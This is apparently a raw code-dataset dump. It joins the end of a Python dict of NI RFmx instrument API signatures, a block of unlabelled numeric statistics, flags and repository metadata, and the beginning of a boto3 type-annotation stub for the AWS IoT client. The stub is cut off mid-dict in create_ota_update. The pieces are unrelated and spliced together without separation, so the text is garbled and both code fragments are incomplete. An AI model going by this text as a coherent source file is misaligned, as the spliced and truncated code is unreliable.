'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPhaseFetchPhaseDiscontinuities': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'slotPhaseDiscontinuity', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPhaseFetchSamplePhaseError': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'samplePhaseError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPhaseFetchSamplePhaseErrorLinearFitTrace': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'samplePhaseErrorLinearFit', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPowerCfgMeasurementInterval': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'measurementOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'measurementLength', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPowerFetchPowers': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subframePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'subframePowerDelta', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'WaitForAcquisitionComplete': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' } ], 'returns': 'int32' }, 'WaitForMeasurementComplete': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' } ], 'returns': 'int32' } }
28.995494
69
0.326728
13,443
295,986
7.144164
0.054973
0.121867
0.102615
0.055394
0.851612
0.840461
0.806766
0.806058
0.793823
0.792386
0
0.017858
0.529495
295,986
10,207
70
28.998334
0.671765
0
0
0.612815
0
0
0.331739
0.048658
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a1bf202aec4851ef74caf240442c2acd204e1cad
496,425
py
Python
boto3_type_annotations_with_docs/boto3_type_annotations/iot/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
119
2018-12-01T18:20:57.000Z
2022-02-02T10:31:29.000Z
boto3_type_annotations_with_docs/boto3_type_annotations/iot/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
15
2018-11-16T00:16:44.000Z
2021-11-13T03:44:18.000Z
boto3_type_annotations_with_docs/boto3_type_annotations/iot/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
11
2019-05-06T05:26:51.000Z
2021-09-28T15:27:59.000Z
from typing import Optional from botocore.client import BaseClient from typing import Dict from botocore.paginate import Paginator from datetime import datetime from botocore.waiter import Waiter from typing import Union from typing import List class Client(BaseClient): def accept_certificate_transfer(self, certificateId: str, setAsActive: bool = None): """ Accepts a pending certificate transfer. The default state of the certificate is INACTIVE. To check for pending certificate transfers, call ListCertificates to enumerate your certificates. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AcceptCertificateTransfer>`_ **Request Syntax** :: response = client.accept_certificate_transfer( certificateId='string', setAsActive=True|False ) :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :type setAsActive: boolean :param setAsActive: Specifies whether the certificate is active. :returns: None """ pass def add_thing_to_billing_group(self, billingGroupName: str = None, billingGroupArn: str = None, thingName: str = None, thingArn: str = None) -> Dict: """ Adds a thing to a billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AddThingToBillingGroup>`_ **Request Syntax** :: response = client.add_thing_to_billing_group( billingGroupName='string', billingGroupArn='string', thingName='string', thingArn='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type billingGroupName: string :param billingGroupName: The name of the billing group. :type billingGroupArn: string :param billingGroupArn: The ARN of the billing group. :type thingName: string :param thingName: The name of the thing to be added to the billing group. :type thingArn: string :param thingArn: The ARN of the thing to be added to the billing group. :rtype: dict :returns: """ pass def add_thing_to_thing_group(self, thingGroupName: str = None, thingGroupArn: str = None, thingName: str = None, thingArn: str = None, overrideDynamicGroups: bool = None) -> Dict: """ Adds a thing to a thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AddThingToThingGroup>`_ **Request Syntax** :: response = client.add_thing_to_thing_group( thingGroupName='string', thingGroupArn='string', thingName='string', thingArn='string', overrideDynamicGroups=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingGroupName: string :param thingGroupName: The name of the group to which you are adding a thing. :type thingGroupArn: string :param thingGroupArn: The ARN of the group to which you are adding a thing. :type thingName: string :param thingName: The name of the thing to add to a group. :type thingArn: string :param thingArn: The ARN of the thing to add to a group. :type overrideDynamicGroups: boolean :param overrideDynamicGroups: Override dynamic thing groups with static thing groups when 10-group limit is reached. If a thing belongs to 10 thing groups, and one or more of those groups are dynamic thing groups, adding a thing to a static group removes the thing from the last dynamic group. :rtype: dict :returns: """ pass def associate_targets_with_job(self, targets: List, jobId: str, comment: str = None) -> Dict: """ Associates a group with a continuous job. The following criteria must be met: * The job must have been created with the ``targetSelection`` field set to "CONTINUOUS". * The job status must currently be "IN_PROGRESS". * The total number of targets associated with a job must not exceed 100. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AssociateTargetsWithJob>`_ **Request Syntax** :: response = client.associate_targets_with_job( targets=[ 'string', ], jobId='string', comment='string' ) **Response Syntax** :: { 'jobArn': 'string', 'jobId': 'string', 'description': 'string' } **Response Structure** - *(dict) --* - **jobArn** *(string) --* An ARN identifying the job. - **jobId** *(string) --* The unique identifier you assigned to this job when it was created. - **description** *(string) --* A short text description of the job. :type targets: list :param targets: **[REQUIRED]** A list of thing group ARNs that define the targets of the job. - *(string) --* :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :type comment: string :param comment: An optional comment string describing why the job was associated with the targets. :rtype: dict :returns: """ pass def attach_policy(self, policyName: str, target: str): """ Attaches a policy to the specified target. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AttachPolicy>`_ **Request Syntax** :: response = client.attach_policy( policyName='string', target='string' ) :type policyName: string :param policyName: **[REQUIRED]** The name of the policy to attach. :type target: string :param target: **[REQUIRED]** The `identity <https://docs.aws.amazon.com/iot/latest/developerguide/iot-security-identity.html>`__ to which the policy is attached. :returns: None """ pass def attach_principal_policy(self, policyName: str, principal: str): """ Attaches the specified policy to the specified principal (certificate or other credential). **Note:** This API is deprecated. Please use AttachPolicy instead. .. danger:: This operation is deprecated and may not function as expected. This operation should not be used going forward and is only kept for the purpose of backwards compatiblity. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AttachPrincipalPolicy>`_ **Request Syntax** :: response = client.attach_principal_policy( policyName='string', principal='string' ) :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type principal: string :param principal: **[REQUIRED]** The principal, which can be a certificate ARN (as returned from the CreateCertificate operation) or an Amazon Cognito ID. :returns: None """ pass def attach_security_profile(self, securityProfileName: str, securityProfileTargetArn: str) -> Dict: """ Associates a Device Defender security profile with a thing group or with this account. Each thing group or account can have up to five security profiles associated with it. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AttachSecurityProfile>`_ **Request Syntax** :: response = client.attach_security_profile( securityProfileName='string', securityProfileTargetArn='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The security profile that is attached. :type securityProfileTargetArn: string :param securityProfileTargetArn: **[REQUIRED]** The ARN of the target (thing group) to which the security profile is attached. :rtype: dict :returns: """ pass def attach_thing_principal(self, thingName: str, principal: str) -> Dict: """ Attaches the specified principal to the specified thing. A principal can be X.509 certificates, IAM users, groups, and roles, Amazon Cognito identities or federated identities. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/AttachThingPrincipal>`_ **Request Syntax** :: response = client.attach_thing_principal( thingName='string', principal='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output from the AttachThingPrincipal operation. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing. :type principal: string :param principal: **[REQUIRED]** The principal, such as a certificate or other credential. :rtype: dict :returns: """ pass def can_paginate(self, operation_name: str = None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name as the method name on the client. For example, if the method name is ``create_foo``, and you\'d normally invoke the operation as ``client.create_foo(**kwargs)``, if the ``create_foo`` operation can be paginated, you can use the call ``client.get_paginator(\"create_foo\")``. :return: ``True`` if the operation can be paginated, ``False`` otherwise. """ pass def cancel_audit_task(self, taskId: str) -> Dict: """ Cancels an audit that is in progress. The audit can be either scheduled or on-demand. If the audit is not in progress, an "InvalidRequestException" occurs. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CancelAuditTask>`_ **Request Syntax** :: response = client.cancel_audit_task( taskId='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type taskId: string :param taskId: **[REQUIRED]** The ID of the audit you want to cancel. You can only cancel an audit that is \"IN_PROGRESS\". :rtype: dict :returns: """ pass def cancel_certificate_transfer(self, certificateId: str): """ Cancels a pending transfer for the specified certificate. **Note** Only the transfer source account can use this operation to cancel a transfer. (Transfer destinations can use RejectCertificateTransfer instead.) After transfer, AWS IoT returns the certificate to the source account in the INACTIVE state. After the destination account has accepted the transfer, the transfer cannot be cancelled. After a certificate transfer is cancelled, the status of the certificate changes from PENDING_TRANSFER to INACTIVE. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CancelCertificateTransfer>`_ **Request Syntax** :: response = client.cancel_certificate_transfer( certificateId='string' ) :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :returns: None """ pass def cancel_job(self, jobId: str, reasonCode: str = None, comment: str = None, force: bool = None) -> Dict: """ Cancels a job. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CancelJob>`_ **Request Syntax** :: response = client.cancel_job( jobId='string', reasonCode='string', comment='string', force=True|False ) **Response Syntax** :: { 'jobArn': 'string', 'jobId': 'string', 'description': 'string' } **Response Structure** - *(dict) --* - **jobArn** *(string) --* The job ARN. - **jobId** *(string) --* The unique identifier you assigned to this job when it was created. - **description** *(string) --* A short text description of the job. :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :type reasonCode: string :param reasonCode: (Optional)A reason code string that explains why the job was canceled. :type comment: string :param comment: An optional comment string describing why the job was canceled. :type force: boolean :param force: (Optional) If ``true`` job executions with status \"IN_PROGRESS\" and \"QUEUED\" are canceled, otherwise only job executions with status \"QUEUED\" are canceled. The default is ``false`` . Canceling a job which is \"IN_PROGRESS\", will cause a device which is executing the job to be unable to update the job execution status. Use caution and ensure that each device executing a job which is canceled is able to recover to a valid state. :rtype: dict :returns: """ pass def cancel_job_execution(self, jobId: str, thingName: str, force: bool = None, expectedVersion: int = None, statusDetails: Dict = None): """ Cancels the execution of a job for a given thing. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CancelJobExecution>`_ **Request Syntax** :: response = client.cancel_job_execution( jobId='string', thingName='string', force=True|False, expectedVersion=123, statusDetails={ 'string': 'string' } ) :type jobId: string :param jobId: **[REQUIRED]** The ID of the job to be canceled. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing whose execution of the job will be canceled. :type force: boolean :param force: (Optional) If ``true`` the job execution will be canceled if it has status IN_PROGRESS or QUEUED, otherwise the job execution will be canceled only if it has status QUEUED. If you attempt to cancel a job execution that is IN_PROGRESS, and you do not set ``force`` to ``true`` , then an ``InvalidStateTransitionException`` will be thrown. The default is ``false`` . Canceling a job execution which is \"IN_PROGRESS\", will cause the device to be unable to update the job execution status. Use caution and ensure that the device is able to recover to a valid state. :type expectedVersion: integer :param expectedVersion: (Optional) The expected current version of the job execution. Each time you update the job execution, its version is incremented. If the version of the job execution stored in Jobs does not match, the update is rejected with a VersionMismatch error, and an ErrorResponse that contains the current job execution status data is returned. (This makes it unnecessary to perform a separate DescribeJobExecution request in order to obtain the job execution status data.) :type statusDetails: dict :param statusDetails: A collection of name/value pairs that describe the status of the job execution. If not specified, the statusDetails are unchanged. You can specify at most 10 name/value pairs. - *(string) --* - *(string) --* :returns: None """ pass def clear_default_authorizer(self) -> Dict: """ Clears the default authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ClearDefaultAuthorizer>`_ **Request Syntax** :: response = client.clear_default_authorizer() **Response Syntax** :: {} **Response Structure** - *(dict) --* :rtype: dict :returns: """ pass def create_authorizer(self, authorizerName: str, authorizerFunctionArn: str, tokenKeyName: str, tokenSigningPublicKeys: Dict, status: str = None) -> Dict: """ Creates an authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateAuthorizer>`_ **Request Syntax** :: response = client.create_authorizer( authorizerName='string', authorizerFunctionArn='string', tokenKeyName='string', tokenSigningPublicKeys={ 'string': 'string' }, status='ACTIVE'|'INACTIVE' ) **Response Syntax** :: { 'authorizerName': 'string', 'authorizerArn': 'string' } **Response Structure** - *(dict) --* - **authorizerName** *(string) --* The authorizer's name. - **authorizerArn** *(string) --* The authorizer ARN. :type authorizerName: string :param authorizerName: **[REQUIRED]** The authorizer name. :type authorizerFunctionArn: string :param authorizerFunctionArn: **[REQUIRED]** The ARN of the authorizer\'s Lambda function. :type tokenKeyName: string :param tokenKeyName: **[REQUIRED]** The name of the token key used to extract the token from the HTTP headers. :type tokenSigningPublicKeys: dict :param tokenSigningPublicKeys: **[REQUIRED]** The public keys used to verify the digital signature returned by your custom authentication service. - *(string) --* - *(string) --* :type status: string :param status: The status of the create authorizer request. :rtype: dict :returns: """ pass def create_billing_group(self, billingGroupName: str, billingGroupProperties: Dict = None, tags: List = None) -> Dict: """ Creates a billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateBillingGroup>`_ **Request Syntax** :: response = client.create_billing_group( billingGroupName='string', billingGroupProperties={ 'billingGroupDescription': 'string' }, tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'billingGroupName': 'string', 'billingGroupArn': 'string', 'billingGroupId': 'string' } **Response Structure** - *(dict) --* - **billingGroupName** *(string) --* The name you gave to the billing group. - **billingGroupArn** *(string) --* The ARN of the billing group. - **billingGroupId** *(string) --* The ID of the billing group. :type billingGroupName: string :param billingGroupName: **[REQUIRED]** The name you wish to give to the billing group. :type billingGroupProperties: dict :param billingGroupProperties: The properties of the billing group. - **billingGroupDescription** *(string) --* The description of the billing group. :type tags: list :param tags: Metadata which can be used to manage the billing group. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_certificate_from_csr(self, certificateSigningRequest: str, setAsActive: bool = None) -> Dict: """ Creates an X.509 certificate using the specified certificate signing request. **Note:** The CSR must include a public key that is either an RSA key with a length of at least 2048 bits or an ECC key from NIST P-256 or NIST P-384 curves. **Note:** Reusing the same certificate signing request (CSR) results in a distinct certificate. You can create multiple certificates in a batch by creating a directory, copying multiple .csr files into that directory, and then specifying that directory on the command line. The following commands show how to create a batch of certificates given a batch of CSRs. Assuming a set of CSRs are located inside of the directory my-csr-directory: On Linux and OS X, the command is: $ ls my-csr-directory/ | xargs -I {} aws iot create-certificate-from-csr --certificate-signing-request file://my-csr-directory/{} This command lists all of the CSRs in my-csr-directory and pipes each CSR file name to the aws iot create-certificate-from-csr AWS CLI command to create a certificate for the corresponding CSR. The aws iot create-certificate-from-csr part of the command can also be run in parallel to speed up the certificate creation process: $ ls my-csr-directory/ | xargs -P 10 -I {} aws iot create-certificate-from-csr --certificate-signing-request file://my-csr-directory/{} On Windows PowerShell, the command to create certificates for all CSRs in my-csr-directory is: > ls -Name my-csr-directory | %{aws iot create-certificate-from-csr --certificate-signing-request file://my-csr-directory/$_} On a Windows command prompt, the command to create certificates for all CSRs in my-csr-directory is: > forfiles /p my-csr-directory /c "cmd /c aws iot create-certificate-from-csr --certificate-signing-request file://@path" See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateCertificateFromCsr>`_ **Request Syntax** :: response = client.create_certificate_from_csr( certificateSigningRequest='string', setAsActive=True|False ) **Response Syntax** :: { 'certificateArn': 'string', 'certificateId': 'string', 'certificatePem': 'string' } **Response Structure** - *(dict) --* The output from the CreateCertificateFromCsr operation. - **certificateArn** *(string) --* The Amazon Resource Name (ARN) of the certificate. You can use the ARN as a principal for policy operations. - **certificateId** *(string) --* The ID of the certificate. Certificate management operations only take a certificateId. - **certificatePem** *(string) --* The certificate data, in PEM format. :type certificateSigningRequest: string :param certificateSigningRequest: **[REQUIRED]** The certificate signing request (CSR). :type setAsActive: boolean :param setAsActive: Specifies whether the certificate is active. :rtype: dict :returns: """ pass def create_dynamic_thing_group(self, thingGroupName: str, queryString: str, thingGroupProperties: Dict = None, indexName: str = None, queryVersion: str = None, tags: List = None) -> Dict: """ Creates a dynamic thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateDynamicThingGroup>`_ **Request Syntax** :: response = client.create_dynamic_thing_group( thingGroupName='string', thingGroupProperties={ 'thingGroupDescription': 'string', 'attributePayload': { 'attributes': { 'string': 'string' }, 'merge': True|False } }, indexName='string', queryString='string', queryVersion='string', tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'thingGroupName': 'string', 'thingGroupArn': 'string', 'thingGroupId': 'string', 'indexName': 'string', 'queryString': 'string', 'queryVersion': 'string' } **Response Structure** - *(dict) --* - **thingGroupName** *(string) --* The dynamic thing group name. - **thingGroupArn** *(string) --* The dynamic thing group ARN. - **thingGroupId** *(string) --* The dynamic thing group ID. - **indexName** *(string) --* The dynamic thing group index name. - **queryString** *(string) --* The dynamic thing group search query string. - **queryVersion** *(string) --* The dynamic thing group query version. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The dynamic thing group name to create. :type thingGroupProperties: dict :param thingGroupProperties: The dynamic thing group properties. - **thingGroupDescription** *(string) --* The thing group description. - **attributePayload** *(dict) --* The thing group attributes in JSON format. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type indexName: string :param indexName: The dynamic thing group index name. .. note:: Currently one index is supported: \"AWS_Things\". :type queryString: string :param queryString: **[REQUIRED]** The dynamic thing group search query string. See `Query Syntax <https://docs.aws.amazon.com/iot/latest/developerguide/query-syntax.html>`__ for information about query string syntax. :type queryVersion: string :param queryVersion: The dynamic thing group query version. .. note:: Currently one query version is supported: \"2017-09-30\". If not specified, the query version defaults to this value. :type tags: list :param tags: Metadata which can be used to manage the dynamic thing group. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_job(self, jobId: str, targets: List, documentSource: str = None, document: str = None, description: str = None, presignedUrlConfig: Dict = None, targetSelection: str = None, jobExecutionsRolloutConfig: Dict = None, abortConfig: Dict = None, timeoutConfig: Dict = None, tags: List = None) -> Dict: """ Creates a job. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateJob>`_ **Request Syntax** :: response = client.create_job( jobId='string', targets=[ 'string', ], documentSource='string', document='string', description='string', presignedUrlConfig={ 'roleArn': 'string', 'expiresInSec': 123 }, targetSelection='CONTINUOUS'|'SNAPSHOT', jobExecutionsRolloutConfig={ 'maximumPerMinute': 123, 'exponentialRate': { 'baseRatePerMinute': 123, 'incrementFactor': 123.0, 'rateIncreaseCriteria': { 'numberOfNotifiedThings': 123, 'numberOfSucceededThings': 123 } } }, abortConfig={ 'criteriaList': [ { 'failureType': 'FAILED'|'REJECTED'|'TIMED_OUT'|'ALL', 'action': 'CANCEL', 'thresholdPercentage': 123.0, 'minNumberOfExecutedThings': 123 }, ] }, timeoutConfig={ 'inProgressTimeoutInMinutes': 123 }, tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'jobArn': 'string', 'jobId': 'string', 'description': 'string' } **Response Structure** - *(dict) --* - **jobArn** *(string) --* The job ARN. - **jobId** *(string) --* The unique identifier you assigned to this job. - **description** *(string) --* The job description. :type jobId: string :param jobId: **[REQUIRED]** A job identifier which must be unique for your AWS account. We recommend using a UUID. Alpha-numeric characters, \"-\" and \"_\" are valid for use here. :type targets: list :param targets: **[REQUIRED]** A list of things and thing groups to which the job should be sent. - *(string) --* :type documentSource: string :param documentSource: An S3 link to the job document. :type document: string :param document: The job document. .. note:: If the job document resides in an S3 bucket, you must use a placeholder link when specifying the document. The placeholder link is of the following form: ``${aws:iot:s3-presigned-url:https://s3.amazonaws.com/*bucket* /*key* }`` where *bucket* is your bucket name and *key* is the object in the bucket to which you are linking. :type description: string :param description: A short text description of the job. :type presignedUrlConfig: dict :param presignedUrlConfig: Configuration information for pre-signed S3 URLs. - **roleArn** *(string) --* The ARN of an IAM role that grants grants permission to download files from the S3 bucket where the job data/updates are stored. The role must also grant permission for IoT to download the files. - **expiresInSec** *(integer) --* How long (in seconds) pre-signed URLs are valid. Valid values are 60 - 3600, the default value is 3600 seconds. Pre-signed URLs are generated when Jobs receives an MQTT request for the job document. :type targetSelection: string :param targetSelection: Specifies whether the job will continue to run (CONTINUOUS), or will be complete after all those things specified as targets have completed the job (SNAPSHOT). If continuous, the job may also be run on a thing when a change is detected in a target. For example, a job will run on a thing when the thing is added to a target group, even after the job was completed by all things originally in the group. :type jobExecutionsRolloutConfig: dict :param jobExecutionsRolloutConfig: Allows you to create a staged rollout of the job. - **maximumPerMinute** *(integer) --* The maximum number of things that will be notified of a pending job, per minute. This parameter allows you to create a staged rollout. - **exponentialRate** *(dict) --* The rate of increase for a job rollout. This parameter allows you to define an exponential rate for a job rollout. - **baseRatePerMinute** *(integer) --* **[REQUIRED]** The minimum number of things that will be notified of a pending job, per minute at the start of job rollout. This parameter allows you to define the initial rate of rollout. - **incrementFactor** *(float) --* **[REQUIRED]** The exponential factor to increase the rate of rollout for a job. - **rateIncreaseCriteria** *(dict) --* **[REQUIRED]** The criteria to initiate the increase in rate of rollout for a job. AWS IoT supports up to one digit after the decimal (for example, 1.5, but not 1.55). - **numberOfNotifiedThings** *(integer) --* The threshold for number of notified things that will initiate the increase in rate of rollout. - **numberOfSucceededThings** *(integer) --* The threshold for number of succeeded things that will initiate the increase in rate of rollout. :type abortConfig: dict :param abortConfig: Allows you to create criteria to abort a job. - **criteriaList** *(list) --* **[REQUIRED]** The list of abort criteria to define rules to abort the job. - *(dict) --* Details of abort criteria to define rules to abort the job. - **failureType** *(string) --* **[REQUIRED]** The type of job execution failure to define a rule to initiate a job abort. - **action** *(string) --* **[REQUIRED]** The type of abort action to initiate a job abort. - **thresholdPercentage** *(float) --* **[REQUIRED]** The threshold as a percentage of the total number of executed things that will initiate a job abort. AWS IoT supports up to two digits after the decimal (for example, 10.9 and 10.99, but not 10.999). - **minNumberOfExecutedThings** *(integer) --* **[REQUIRED]** Minimum number of executed things before evaluating an abort rule. :type timeoutConfig: dict :param timeoutConfig: Specifies the amount of time each device has to finish its execution of the job. The timer is started when the job execution status is set to ``IN_PROGRESS`` . If the job execution status is not set to another terminal state before the time expires, it will be automatically set to ``TIMED_OUT`` . - **inProgressTimeoutInMinutes** *(integer) --* Specifies the amount of time, in minutes, this device has to finish execution of this job. The timeout interval can be anywhere between 1 minute and 7 days (1 to 10080 minutes). The in progress timer can\'t be updated and will apply to all job executions for the job. Whenever a job execution remains in the IN_PROGRESS status for longer than this interval, the job execution will fail and switch to the terminal ``TIMED_OUT`` status. :type tags: list :param tags: Metadata which can be used to manage the job. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_keys_and_certificate(self, setAsActive: bool = None) -> Dict: """ Creates a 2048-bit RSA key pair and issues an X.509 certificate using the issued public key. **Note** This is the only time AWS IoT issues the private key for this certificate, so it is important to keep it in a secure location. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateKeysAndCertificate>`_ **Request Syntax** :: response = client.create_keys_and_certificate( setAsActive=True|False ) **Response Syntax** :: { 'certificateArn': 'string', 'certificateId': 'string', 'certificatePem': 'string', 'keyPair': { 'PublicKey': 'string', 'PrivateKey': 'string' } } **Response Structure** - *(dict) --* The output of the CreateKeysAndCertificate operation. - **certificateArn** *(string) --* The ARN of the certificate. - **certificateId** *(string) --* The ID of the certificate. AWS IoT issues a default subject name for the certificate (for example, AWS IoT Certificate). - **certificatePem** *(string) --* The certificate data, in PEM format. - **keyPair** *(dict) --* The generated key pair. - **PublicKey** *(string) --* The public key. - **PrivateKey** *(string) --* The private key. :type setAsActive: boolean :param setAsActive: Specifies whether the certificate is active. :rtype: dict :returns: """ pass def create_ota_update(self, otaUpdateId: str, targets: List, files: List, roleArn: str, description: str = None, targetSelection: str = None, awsJobExecutionsRolloutConfig: Dict = None, additionalParameters: Dict = None, tags: List = None) -> Dict: """ Creates an AWS IoT OTAUpdate on a target group of things or groups. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateOTAUpdate>`_ **Request Syntax** :: response = client.create_ota_update( otaUpdateId='string', description='string', targets=[ 'string', ], targetSelection='CONTINUOUS'|'SNAPSHOT', awsJobExecutionsRolloutConfig={ 'maximumPerMinute': 123 }, files=[ { 'fileName': 'string', 'fileVersion': 'string', 'fileLocation': { 'stream': { 'streamId': 'string', 'fileId': 123 }, 's3Location': { 'bucket': 'string', 'key': 'string', 'version': 'string' } }, 'codeSigning': { 'awsSignerJobId': 'string', 'startSigningJobParameter': { 'signingProfileParameter': { 'certificateArn': 'string', 'platform': 'string', 'certificatePathOnDevice': 'string' }, 'signingProfileName': 'string', 'destination': { 's3Destination': { 'bucket': 'string', 'prefix': 'string' } } }, 'customCodeSigning': { 'signature': { 'inlineDocument': b'bytes' }, 'certificateChain': { 'certificateName': 'string', 'inlineDocument': 